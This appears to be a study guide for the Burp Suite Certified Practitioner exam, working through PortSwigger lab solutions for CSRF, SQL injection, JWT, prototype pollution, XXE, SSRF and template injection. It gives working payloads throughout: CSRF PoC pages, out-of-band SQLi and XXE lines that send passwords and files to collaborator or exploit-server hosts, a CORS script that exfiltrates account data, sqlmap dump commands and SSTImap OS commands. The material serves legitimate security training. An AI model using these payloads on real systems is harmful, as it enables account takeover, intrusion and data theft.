very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

Inconsistent-handling-exceptional-input

PortSwigger Lab: Inconsistent handling of exceptional input

Auth Token bypass Macro

If the authentication login is protected against brute force by using random token that is used on every login POST, a Burp Macro can be used to bypass protection.

Create Burp Macro

  1. Open Proxy settings and select sessions under Project choices.
  2. Scroll down to Macros, and add new macro.
  3. Select request from the list to use for the value to be used.
  4. click Configure item and add custom parameter location to extract.
  5. Click OK to return to Sessions under Project choices.
  6. Add a Session handling rule, and the editor dialogue opens.
  7. In the dialogue, go to the "Scope" tab.
  8. Under scope for the session handling rule editor, check Target, Intruder, and Repeater.
  9. Still under "URL Scope", select Include all URLs.
  10. Close Settings.

How To Create a Macro in Burp Suite Professional

PortSwigger Lab: Infinite money logic flaw - show how to create Burp Macro

Privilege Escalation

CSRF Account Takeover

OAuth
Referer Validation CSRF
Referer Header Present
LastSearchTerm
CSRF duplicated in cookie
CSRF Token Present
Is Logged In
CSRF No Defences

Cross-Site Request Forgery vulnerability allows an attacker to force users to perform actions that they did not intend to perform. This can enable attacker to change victim email address and use password reset to take over the account.

OAuth

oAuth linking exploit server hosting iframe, then deliver to victim, forcing user to update code linked.

csrf

Intercepted the GET /oauth-linking?code=[...]. send to repeat to save code. Drop the request. Important to ensure that the code is not used and, remains valid. Save on exploit server an iframe in which the src attribute points to the URL you just copied.

<iframe src="https://TARGET.net/oauth-linking?code=STOLEN-CODE"></iframe>

PortSwigger Lab: Forced OAuth profile linking

Referer Validation CSRF

Identify the change email function is vulnerable to CSRF by observing when the Referer header value is changed the response give message, Invalid referer header, and the email change is accepted when the referrer value contains the expected target domain somewhere in the value.

identify csrf referer header check

Adding original domain of target and append it to the Referer header in the form of a query string, allow the change email to update.

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url

Note: Unlike the normal Referer header spelling, the word "referrer" must be spelled correctly in the above head section of the exploit server.

Referer csrf

Create a CSRF proof of concept exploit and host it on the exploit server. Edit the JavaScript so that the third argument of the history.pushState() function includes a query string with target URL.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
	<script>
		history.pushState('', '', '/?TARGET.net');
	</script>
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;exploit&#45;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

When above exploit payload is delivered to victim, the CSRF POC payload changes the victim email to [email protected], because the Referer header contained target in value. In BSCP exam take not of your hacker@exploit server email address to use in account takeover.

PortSwigger Lab: CSRF with broken Referer validation

Referer Header Present

In the update email request when changing the referer header the response indicate invalid referer header, identifying CSRF vulnerability. Using the <meta name="referrer" content="no-referrer"> as part of the exploit server CSRF PoC this control can be bypassed.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
<meta name="referrer" content="no-referrer">
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hackers&#64;EXPLOIT&#46;NET" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

csrf referer present

PortSwigger Lab: CSRF where Referer validation depends on header being present

LastSearchTerm

Identify the CSRF vulnerability where token not tied to non-session cookie, by changing the csrfkey cookie and seeing the result that the request is rejected. Observe the LastSearchTerm cookie value containing the user supplied input from the search parameter.

identify-csrf-non-session-tied.png

Search function has no CSRF protection, create below payload that injects new line characters %0d%0a to set new cookie value in response, and use this to inject cookies into the victim user's browser.

/?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None

Generate CSRF POC, Enable the option to include an auto-submit script and click Regenerate. Remove the auto-submit script code block and add following instead, and place history.pushState script code below body header. The onerror of the IMG SRC tag will instead submit the CSRF POC.

<img src="https://TARGET.net/?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None" onerror="document.forms[0].submit()">

During BSCP Exam set the email change value to that of the exploit server [email protected] email address. Then you can change the administrator password with the reset function.

csrf set cookie poc

In the below CSRF PoC code, the hidden csrf value is the one generated by the change email function and the csrfkey value in the img src is the value of the victim, obtained by logging on as victim provided credentials. not sure in exam but real world this is test to be performed.

<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;exploit&#45;0a18002e03379f0ccf16180f01180022&#46;exploit&#45;server&#46;net" />
      <input type="hidden" name="csrf" value="48hizVRa9oJ1slhOIPljozUAjqDMdplb" />
      <input type="submit" value="Submit request" />
    </form>
	<img src="https://TARGET.net/?search=test%0d%0aSet-Cookie:%20csrfKey=NvKm20fiUCAySRSHHSgH7hwonb21oVUZ%3b%20SameSite=None" onerror="document.forms[0].submit()">    
  </body>
</html>

PortSwigger Lab: CSRF where token is tied to non-session cookie

CSRF duplicated in cookie

In the target we identify that the CSRF key token is duplicated in the cookie value. Another indicator is the cookie LastSearchTerm contain the value searched. By giving search value that contain %0d%0a we can inject an end of line and new line characters to create new CSRF cookie and value.

set cookie csrf fake

In the exploit code img src tag we set cookie for csrf to fake.

<html>
  <body>
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="ATTACKER&#64;EXPLOIT-SERVER&#46;NET" />
      <input type="hidden" name="csrf" value="fake" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://TARGET.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
  </body>
</html>

csrf duplicated cookie

PortSwigger Lab: CSRF where token is duplicated in cookie

CSRF Token Present

Changing the value of the csrf parameter result in change email request being rejected. Deleting the CSRF token allow the change email to be accepted, and this identify that the validation of token being present is vulnerable.

CSRF PoC Payload hosted on exploit server:

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
    document.forms[0].submit();
</script>

csrf present validation fail

PortSwigger Lab: CSRF where token validation depends on token being present

Is Logged In

If cookie with the isloggedin name is identified, then a refresh of admin password POST request could be exploited. Change username parameter to administrator while logged in as low privilege user, CSRF where token is not tied to user session.

POST /refreshpassword HTTP/1.1
Host: TARGET.net
Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d
Content-Length: 60
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="109", "Not_A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://TARGET.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Forwarded-Host: exploit.exploit-server.net
X-Host: exploit.exploit-server.net
X-Forwarded-Server: exploit.exploit-server.net
Referer: https://TARGET.net/refreshpassword
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

csrf=TOKEN&username=administrator

CSRF privesc

CSRF No Defences

Target with no defences against email change function, can allow the privilege escalation to admin role. In exam changing the email to the [email protected] email address on the exploit server can allow the change of password for the low privilege user and can assist in privesc.
In the exam there is only on active user, and if the previous stage was completed using attack that did not involve active user clicking on link send from exploit server Deliver to Victim then this can be used in next stage.

csrf-change-email.png

PortSwigger Lab: CSRF vulnerability with no defences

Password Reset

Refresh Password broken logic
Current Password

Refresh Password broken logic

If the application Refresh Password feature is flawed, this vulnerability can be exploited without any user clicking on link or interaction. This can lead to identifying valid users accounts or privilege escalation.

Identify in the source code for the /forgot-password page the username is a hidden field.

Password reset hidden username

Exploit the post request by deleting the temp-forgot-password-token parameter in both the URL and request body. Change the username parameter to carlos.

Temp-forgot-password-token

PortSwigger Lab: Password reset broken logic

Current Password

Identify the Change password do not need the current-password parameter to set a new password, and the user whom password will be changed is based on POST parameter username=administrator
In the PortSwigger labs they provide you the credentials for wiener:peter, and this simulate in the exam stage 1 achieved low level user access. In exam this password reset vulnerability is example of how it is possible without interaction from active user to privilege escalate your access to admin.

Intercept the /my-account/change-password request as the csrf token is single random use value, set username=administrator, and remove current-password parameter.

Change password without current

PortSwigger Lab: Weak isolation on dual-use endpoint

SQL Injection

Blind SQLi
Blind SQLi no indication
Blind SQLi Conditional Response
Oracle
SQLMAP
Non-Oracle Manual SQLi

Error based or Blind SQL injection vulnerabilities, allow SQL queries in an application to be used to extract data or login credentials from the database. SQLMAP is used to fast track the exploit and retrieve the sensitive information.

Identify SQLi, by adding a double (") or single quote (') to web parameters or tracking cookies, if this break the SQL syntax resulting in error message response, then positive SQL injection identified.

SQL Injection cheat sheet examples

Identify the input parameter vulnerable to SQL injection

Blind SQLi

Target is vulnerable to Out of band data exfiltration using Blind SQL exploitation query. In this case the trackingID cookie. Below is combination of SQL injection and XXE payload to exploit the vulnerability and send administrator password as DNS request to the collaborator service.

TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.COLLABORATOR.NET/">+%25remote%3b]>'),'/l')+FROM+dual--

Blind SQL injection with out-of-band data exfil

PortSwigger Lab: Blind SQL injection with out-of-band data exfiltration

The SQL payload above can also be used to extract the Administrator password for the this PortSwigger Lab: Blind SQL injection with conditional errors challenge.

Blind SQLi no indication

Placing a single quote at end of the trackingid cookie or search parameter give no internal server error 500. Making educated guess, by using below blind SQLi payload abd combine with basic XXE technique, this then makes a call to collaboration server but no data is ex-filtrated.

TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//COLLABORATOR.NET/">+%25remote%3b]>'),'/l')+FROM+dual--

SQLi XXE

Additional SQLi payload with XML for reference with || the SQL concatenation operator to concatenate two expressions that evaluate two character data types or to numeric data type and do some obfuscating.

'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % umiyp SYSTEM "http://Collaborat'||'OR.COM/">%umiyp;]>'),'/l') from dual)||'

OAST - Out-of-band Application Security Testing

PortSwigger Lab: Blind SQL injection with out-of-band interaction

Blind SQLi Conditional Response

This blind SQL injection is identified by a small message difference in the responses. When sending a valid true SQL query the response contain Welcome back string in response. Invalid false SQL query statement do not contain the response conditional message.

' AND '1'='1

False SQL statement to identify conditional message not in response.

' AND '1'='2

Determine how many characters are in the password of the administrator user. To do this, change the SQL statement value to and in intruder Settings tab, at the "Grep - Match" section. Clear any existing entries in the list, and then add the value Welcome back to identify true condition.

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

Next step is to test the character at each position to determine its value. This involves a much larger number of requests.

' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

sqli conditional response

Alternative use a Cluster Bomb attack and setting two payload positions, first one for the character position with a payload of numbers 1..20 and the second position, using alpha and number characters, this will iterate through each permutation of payload combinations.

cluster bomb

PortSwigger Lab: Blind SQL injection with conditional responses

Oracle

Identified SQL injection by using add single quote to the end of the category parameter value and observing response of internal server error.

Retrieve the list of tables in the Oracle database:

'+UNION+SELECT+table_name,NULL+FROM+all_tables--

Oracle payload to retrieve the details of the columns in the table.

'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_XXX'--

Oracle payload to retrieve the usernames and passwords from Users_XXX table.

'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--

PortSwigger Lab: SQL injection attack, listing the database contents on Oracle

SQLMAP

Sample SQLMAP commands to determine what SQL injection vulnerability exist and retrieving different types of information from back-end database.

SQLMAP Help usage

SQLMAP determine the vulnerability, and perform initial enumeration.

sqlmap -v -u 'https://TARGET.net/filter?category=*' -p "category" --batch --cookie="session=TheCookieValueCopied" --random-agent --level=5 --risk=3

SQLMAP determine the database DBMS.

sqlmap -v -u 'https://TARGET.net/filter?category=*' -p "category" --batch --cookie="session=TheCookieValueCopied" --random-agent --level=5 --risk=3 --dbms=PostgreSQL -dbs

SQLMAP determine Database, Tables, dump, data Exfiltration.

sqlmap -v -u 'https://TARGET.net/filter?category=*' -p "category" --batch --cookie="session=TheCookieValueCopied" --random-agent --level=5 --risk=3 --dbms=PostgreSQL -D public --tables

Dump content from table users in the public database.

sqlmap -v -u 'https://TARGET.net/filter?category=*' -p "category" --batch --cookie="session=TheCookieValueCopied" --random-agent --dbms=PostgreSQL -D public -T users --dump --level=5 --risk=3

SQLMAP used to dump data from tables

Use SQLMAP Technique parameter set type to error based instead of boolean-based blind vulnerability, and this speed up data Exfil process.

sqlmap -v -u 'https://TARGET.net/filter?category=*' -p 'category' --batch --flush-session --dbms postgresql --technique E --level=5  

Non-Oracle Manual SQLi

SQL injection UNION attack, determining the number of columns returned by the query.

'+UNION+SELECT+NULL,NULL--

Determined there is two columns returned. Finding a column containing text, to be used for reflecting information extracted.

'+UNION+SELECT+'fuzzer',NULL--

Next identifying a list of tables in the database.

'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

OPTIONAL: Retrieve data from other tables, use code below payload to retrieve the contents of the users table.

'+UNION+SELECT+username,+password+FROM+users--

Retrieve the names of the columns in the users table.

'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--

Final step is to the dump data from the username and passwords columns.

'+UNION+SELECT+username_XXXX,+password_XXXX+FROM+users_XXXX--

EXTRA: If you only have one column to extract text data, then concatenate multiple values in a single reflected output field using SQL syntax || characters from the database.

'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

manual-sqli.png

PortSwigger Lab: SQL injection attack, listing the database contents on non-Oracle databases

JWT

JWT bypass via JWK
JWT Weak secret
JWT kid header

JSON web tokens (JWTs) use to send cryptographically signed JSON data, and most commonly used to send information ("claims") about users as part of authentication, session handling, and access control.

JWT bypass via JWK

The burp scanner identify vulnerability in server as, JWT self-signed JWK header supported. Possible to exploit it through failed check of the provided key source. Exploit steps:

  1. New RSA Key
  2. In request JWT payload, change the value of the sub claim to administrator
  3. Select Attack, then select Embedded JWK with newly generated RSA key
  4. Observe a jwk parameter now contain our public key, sending request result in access to admin portal

jwk header

PortSwigger Lab: JWT authentication bypass via jwk header injection

JWT Weak secret

Brute force weak JWT signing key

hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list 

Hashcat result provide the secret, to be used to generate a forged signing key.

PortSwigger JWT authentication bypass via weak signing key

JWT kid header

JWT-based mechanism for handling sessions. In order to verify the signature, the server uses the kid parameter in JWT header to fetch the relevant key from its file system. Generate a new Symmetric Key and replace k property with the base64 null byte AA==, to be used when signing the JWT.

JWS

{
    "kid": "../../../../../../../dev/null",
    "alg": "HS256"
}

Payload

{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1673523674
}

jwt

PortSwigger Lab: JWT authentication bypass via kid header path traversal

ProtoType Pollution

Attacker add arbitrary properties to global JavaScript object prototypes, which is inherited by user-defined objects that lead to client-side DOM XSS or server-side code execution.

Client-Side Proto
Server-Side Proto

Client-Side Proto

A target is vulnerable to DOM XSS via client side prototype pollution. DOM Invader will identify the gadget and using a hosted payload to performing phishing directed at the victim and steal their cookie.

Exploit server Body section, host an exploit that will navigate the victim to a malicious URL.

<script>
    location="https://TARGET.NET/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>  

Proto pollution

Above image show the Deliver to Victim phishing request being send.

PortSwigger Lab: Client-side prototype pollution in third-party libraries

Proto pollution

Server-Side Proto

To identify Proto pollution, insert the follow into a JSON post request when updating a user profile information authenticated as low privileged role.

"__proto__": {
    "foo":"bar"
}

identify proto

Observe the isAdmin property and resend the POST update account with the __proto__ payload below to elevate our access role to Administrator.

"__proto__": {
    "isAdmin":true
}

PortSwigger Lab: Privilege escalation via server-side prototype pollution

Access Control

JSON roleid PrivEsc
Original URL
Drop Select a role

PrivEsc JSON RoleId

Access control to the admin interface is based on user roles, and this can lead to privilege escalation or access control security vulnerability.

Capture current logged in user email change submission request and send to Intruder, then add "roleid":ยง99ยง into the JSON body of the request, and fuzz the possible roleid value for administrator access role.

POST /my-account/change-email HTTP/1.1
Host: TARGET.web-security-academy.net
Cookie: session=vXAA9EM1hzQuJwHftcLHKxyZKtSf2xCW
Content-Length: 48
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Connection: close

{
 "email":"[email protected]",
 "roleid": 42
}

The Hitchhiker's Guide to the Galaxy answer was 42

Intruder Payload set to identify Admin role ID

Attacker identify the possible role ID of administrator role and then send this request with updated roleId to privilege escalate the current logged in user to the access role of administrator.

Attack identify Admin role ID

PortSwigger Lab: User role can be modified in user profile

Drop Select a role

Escalation to administrator is sometimes controlled by a role selector GET request, by dropping the "Please select a role" GET request before it is presented to the user, the default role of admin is selected by back-end and access is granted to the admin portal.

Select a role

PortSwigger Lab: Authentication bypass via flawed state machine

Original URL

Admin portal only accessible from internal. Identify if access control can be bypassed using header X-Original-URL, observe different response to /admin endpoint requests depending on header value.

X-Original-URL: /admin

x-original-url

PortSwigger Lab: URL-based access control can be circumvented

CORS

Identify in the source code the account details are requested with AJAX request.

cors-ajax-request.png

Test is CORS configuration allow access to sub-domains using below test header. If response include the Access-Control-Allow-Origin header with the origin reflect it is vulnerable.

Origin: http://subdomain.TARGET.NET

The target call subdomain to retrieve stock values, and the productid parameter is vulnerable to cross-site scripting (XSS).

Subdomain cors xss

Place code in the exploit server body and deliver to victim to steal AJAX session token and API key.

<script>
    document.location="http://stock.TARGET.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://TARGET.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://EXPLOIT.NET/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

PortSwigger Lab: CORS vulnerability with trusted insecure protocols

Data Exfiltration

XXE Injections

Identify XML
Xinclude file read
DTD Blind Out-of-band
DTD Blind Error messages
SQL + XML + HackVertor
XXE perform SSRF
XXE with SVG upload

File upload or user import function on web target use XML file format. This can be vulnerable to XML external entity (XXE) injection.

Identify XML

Possible to find XXE attack surface in requests that do not contain any XML.

To Identify XXE in not so obvious parameters or requests, require adding the below and URL encode the & ampersand symbol to see the response.

%26entity;

Below the server respond with indication that XML Entities are not allowed for security reasons.

Identify XML Injections

Xinclude file read

Webapp Check Stock feature use server-side XML document that is server side parsed inside XML document, and request is not constructed of the entire XML document, it is not possible to use a hosted DTD file. Injecting an XInclude statement to retrieve the contents of /home/carlos/secret file instead.

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo>

XInclude to retrieve files

URL encode the XXE payload before sending.

<foo+xmlns%3axi%3d"http%3a//www.w3.org/2001/XInclude"><xi%3ainclude+parse%3d"text"+href%3d"file%3a///etc/hostname"/></foo>

PortSwigger Lab: Exploiting XInclude to retrieve files

DTD Blind Out-of-band

On the exploit server change the hosted file name to /exploit.dtd as the exploit file with Document Type Definition (DTD) extension, containing the following payload. The &#x25; is the Unicode hex character code for percent sign %. Parameter entities are referenced using the percent character instead of the usual ampersand.

<!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://COLLABORATOR.net/?x=%file;'>">
%eval;
%exfil;

Exploit.DTD file hosted

Modify the file upload XML body of the request before sending to the target server.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "https://EXPLOIT.net/exploit.dtd"> %xxe;]>
<users>
    <user>
        <username>Carl Toyota</username>
        <email>[email protected]</email>
    </user>    
</users>

Exploiting blind XXE to exfiltrate data using a malicious exploit DTD file

PortSwigger Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD

Rabbit hole: The submit feedback and screenshot upload on feedback is not to be followed by Neo down the Matrix.

DTD Blind Error messages

Trigger XML parsing errors in such a way that the error messages contain sensitive data. If the out of band to Collaborator payload above do not work test if the target will call a exploit.dtd file with invalid reference and return response in an error message.

Hosted on exploit server the /exploit.dtd file and body contents to file:///invalid/ path.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

On the stock check XML post request insert the payload between definition and first element.

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://EXPLOIT.net/exploit.dtd"> %xxe;]>
  <stockCheck>
    <productId>
	  1
	</productId>
	<storeId>
	  1
	</storeId>
</stockCheck>

DTD Exploit invalid error

PortSwigger Lab: Exploiting blind XXE to retrieve data via error messages

Rabbit hole: The submit feedback and screenshot upload on feedback is for Neo to follow Trinity in the Matrix.

SQL + XML + HackVertor

The combination of vulnerabilities are identified in a XML Post body and inserting mathematical expression such as 7x7 into field and observing the evaluated value. Using this type of XML and SQL injection with WAF filter bypass via encoding may allow extract of sensitive data.

identify-math-evaluated-xml

WAF detect attack when appending SQL query such as a UNION SELECT statement to the original store ID. Web application firewall (WAF) will block requests that contain obvious signs of a SQL injection attack.

<storeId>1 UNION SELECT NULL</storeId>

Bypass the WAF, Use Burp extension Hackvertor to obfuscate the SQL Injection payload in the XML post body.

Web application firewall (WAF) bypass require obfuscate of malicious query with Hackvertor

Webapp return one column, thus need to concatenate the returned usernames and passwords columns from the users table.

<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>

SQL injection with filter bypass via XML encoding obfuscation

Below is sample SQLi payloads to read local file, or output to another folder on target.

<@hex_entities>1 UNION all select load_file('/home/carlos/secret')<@/hex_entities>  

<@hex_entities>1 UNION all select load_file('/home/carlos/secret') into outfile '/tmp/secret'<@/hex_entities>

PortSwigger Lab: SQL injection with filter bypass via XML encoding

SSRF - Server Side Request Forgery

Absolute GET URL + HOST SSRF
XXE + SSRF
HOST Routing-based SSRF
HTML to PDF
SSRF Open Redirection
Host Header Connection State + SSRF

SSRF attack cause the server to make a connection to internal services within the organization, or force the server to connect to arbitrary external systems, potentially leaking sensitive data.

SSRF Sample payloads.

/product/nextProduct?currentProductId=6&path=https://EXPLOIT.net  

stockApi=http://localhost:6566/admin  

http://127.1:6566/admin  

Host: localhost

Alternative IP representation of 127.0.0.1:

  1. 2130706433
  2. 017700000001
  3. 127.1

Double URL encode characters in URL to Obfuscate the "a" by double-URL encoding it to %2561, resulting in the bypass of blacklist filter.

ssrf obfuscated

PortSwigger Lab: SSRF with blacklist-based input filter

Absolute GET URL + HOST SSRF

Identify SSRF by changing the HOST header to Collaborator and providing an absolute URL in the GET request line and observe the response from the Collaborator server.

GET https://TARGET.web-security-academy.net/
Host: COLLABORATOR.NET

identify-ssrf-host

Use the Host header to target 192.168.0.141 or localhost, and notice the response give 302 status admin interface found. Append /admin to the absolute URL in the request line and send the request. Observe SSRF response.

ssrf

GET https://TARGET.net/admin/delete?csrf=cnHBVbOPl7Bptu3VCXQZh6MUYzMsEXgO&username=carlos HTTP/1.1
Host: 192.168.0.114
Cookie: session=PQcb5CMC9ECh5fBobuxSalaBdxyLis01

PortSwigger Lab: SSRF via flawed request parsing

SSRF redirect_uris

POST request to register data to the client application with redirect URL endpoint in JSON body. Provide a redirect_uris array containing an arbitrary white-list of callback URIs. Observe the redirect_uri.

POST /reg HTTP/1.1
Host: oauth-TARGET.web-security-academy.net
Content-Type: application/json
Content-Length: 206

{
"redirect_uris":["https://example.com"],
    "logo_uri" : "https://Collaborator.com",
	"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
	
}  

ssrf_redirect_uris.png

PortSwigger Lab: SSRF via OpenID dynamic client registration

XXE + SSRF

Exploiting XXE to perform SSRF attacks using stock check function that obtains sensitive data.

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://localhost:6566/latest/"> ]>
  <stockCheck>
    <productId>
      &xxe;
    </productId>
    <storeId>
      1
    </storeId>
  </stockCheck>  

xxe-ssrf-localhost.png

PortSwigger Lab: Exploiting XXE to perform SSRF attacks

HOST Routing-based SSRF

Identify routing-based SSRF by altering the host header on request and observe the response. Routing-based SSRF via the Host header allow insecure access to a localhost Intranet.

GET / HTTP/1.1
Host: 192.168.0.ยง0ยง

Routing-based SSRF

Note: Once access gained to the internal server admin portal, the response indicate the form requires a POST request and CSRF token, so we convert the GET request to POST as below.

POST /admin/delete HTTP/1.1
Host: 192.168.0.135
Cookie: session=TmaxWQzsf7jfkn5KyT9V6GmeIV1lV75E
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://TARGET.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

csrf=ftU8wSm4rqdQ2iuSZUwSGmDnLidhYjUg&username=carlos

PortSwigger Lab: Routing-based SSRF

HTML to PDF

Identify a PDF download function and the source code uses JSON.stringify to create html on download. This HTML-to-PDF framework is vulnerable to SSRF attack. Partial source code for JavaScript on the target downloadReport.js.

function downloadReport(event, path, param) {

body: JSON.stringify({
  [param]: html
  }
  )
  
<div><p>Report Heading by <img src=โ€https://Collaborator.com/test.pngโ€></p>

Identify file download HTML-to-PDF convert function on target is vulnerable.

<script>
	document.write('<iframe src=file:///etc/passwd></iframe>');
</script>

Libraries used to convert HTML files to PDF documents are vulnerable to server-side request forgery (SSRF).

PortSwigger Research SSRF

Sample code below can be injected on vulnerable implementation of HTML to PDF converter such as wkhtmltopdf to read local file (SSRF).

Thehackerish showing wkHTMLtoPDF exploitation using root-me.org - Gemini-Pentest-v1 CTF lab in the video Pentest SSRF Ep4 by editing the name of the admin profile with HTML content it is then generated server side by including remote or local files.

root-me ctf gemini pentest v1

<html>
 <body>
  <script>
   x = new XMLHttpRequest;
   x.onload = function() {
    document.write(this.responseText)
   };
   x.open("GET", "file:///home/carlos/secret");
   x.send();
  </script>
 </body>
</html>

JSON POST request body containing the HTMLtoPDF formatted payload to read local file.

{
 "tableHtml":"<div><p>SSRF in HTMLtoPDF</p><iframe src='file:///home/carlos/secret' height='500' width='500'>"
}

root-me ctf wkhtmltopdf 0.12.4

Above the display name is injected with HTML payload and on export the HTML-to-PDF converter perform SSRF.

The PDF creator: wkhtmltopdf 0.12.5 is known for SSRF vulnerabilities, and in HackTricks - Server Side XSS - Dynamic PDF there is cross site scripting and server side exploits documented.

SSRF Open Redirection

The target make GET request to the next product on the e-commerce site, using a path parameter. On the stockAPI POST request the value provided in body data is the partial path to internal system. The identification of this vulnerability is by testing various paths and observing the input path specified is reflected in the response Location header.

SSRF Open Redirect Location reflect

In this lab they state the admin interface is at http://192.168.0.12:8080/admin but in exam use the localhost:6566.

https://TARGET.net/product/nextProduct?currentProductId=1&path=http%3a//192.168.0.12%3a8080/admin

On the POST stock request, replace the StockAPI value with the partial path, not the absolute URL, from the nextProduct GET request URL as the value of the stockAPI parameter.

stockApi=/product/nextProduct?currentProductId=1&path=http%3a//192.168.0.12%3a8080/admin

URL-encode payload

stockApi=%2fproduct%2fnextProduct%3fcurrentProductId%3d1%26path%3dhttp%253a%2f%2f192.168.0.12%253a8080%2fadmin

SSRF Open Redirect

PortSwigger Lab: SSRF with filter bypass via open redirection vulnerability

SSTI - Server Side Template Injection

SSTI Identified
Tornado
Django
Freemarker
ERB
Handlebars

Use the web framework native template syntax to inject a malicious payload into a {{input}}, which is then executed server-side. Submitting invalid syntax will often result in error message that lead to identifying the template framework. Use PortSwigger template decision tree to aid in identification.

SSTI Identified

SSTI can be identified using the tool SSTImap. The limitations of this tool is that the template expression {{7*7}} results are sometimes only evaluated by another GET request or calling another function in the application, as the output is not directly reflected or echoed into the response where the template expression was posted.

python /opt/SSTImap/sstimap.py --engine erb -u https://TARGET.net/?message=Unfortunately%20this%20product%20is%20out%20of%20stock --os-cmd "cat /home/carlos/secret"

POST request with the data param to test and send payload using SSTImap tool.

python /opt/SSTImap/sstimap.py -u https://TARGET.net/product/template?productId=1 --cookie 'session=StolenUserCookie' --method POST --marker fuzzer --data 'csrf=ValidCSRFToken&template=fuzzer&template-action=preview' --engine Freemarker --os-cmd 'cat /home/carlos/secret'

SSTImap Tool

SSTI payloads to manually identify vulnerability.

${{<%[%'"}}%\.,
